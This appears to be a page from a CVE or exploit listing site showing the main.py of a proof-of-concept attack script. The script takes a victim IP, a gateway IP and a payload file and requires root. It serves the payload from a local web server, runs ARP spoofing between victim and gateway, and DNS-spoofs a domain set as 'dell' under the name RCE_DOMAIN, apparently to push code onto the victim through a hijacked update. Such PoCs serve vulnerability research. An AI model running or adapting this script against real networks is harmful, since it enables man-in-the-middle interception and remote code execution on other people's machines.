4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.py PY
import sys
import os

from SocketHelper import get_ip_address
from ARPSpoofer import ARPSpoofer
from WebServer import WebServer
from DNSSpoofer import DNSSpoofer

RCE_DOMAIN = "dell"  # What to intercept


def main():
    global RCE_DOMAIN

    if len(sys.argv) < 5:
        print("[-] Expecting 4 arguments, got %i." % (len(sys.argv) - 1))
        print("%s [Interface Name] [Victim IP] [Gateway IP] [Payload Filename]" % sys.argv[0])
        return 0

    if os.geteuid() != 0:
        print("[-] root permissions required.")
        return 0

    interface_name = sys.argv[1]
    target_ip = sys.argv[2]
    gateway_ip = sys.argv[3]
    payload_filename = sys.argv[4]

    print("[+] Grabbing interface IP address.")
    interface_ip = get_ip_address(interface_name)
    if interface_ip == "0.0.0.0":
        print("[-] Could not find the IPv4 Address of the provided interface.")
        return 0

    print("[+] Starting webserver.")
    WebServer(payload_filename)

    print("[+] Starting ARP Spoofing.")
    ARPSpoofer(target_ip, gateway_ip)

    print("[+] Starting DNS Spoofing.")
    DNSSpoofer(RCE_DOMAIN, interface_ip)

    return 0


main()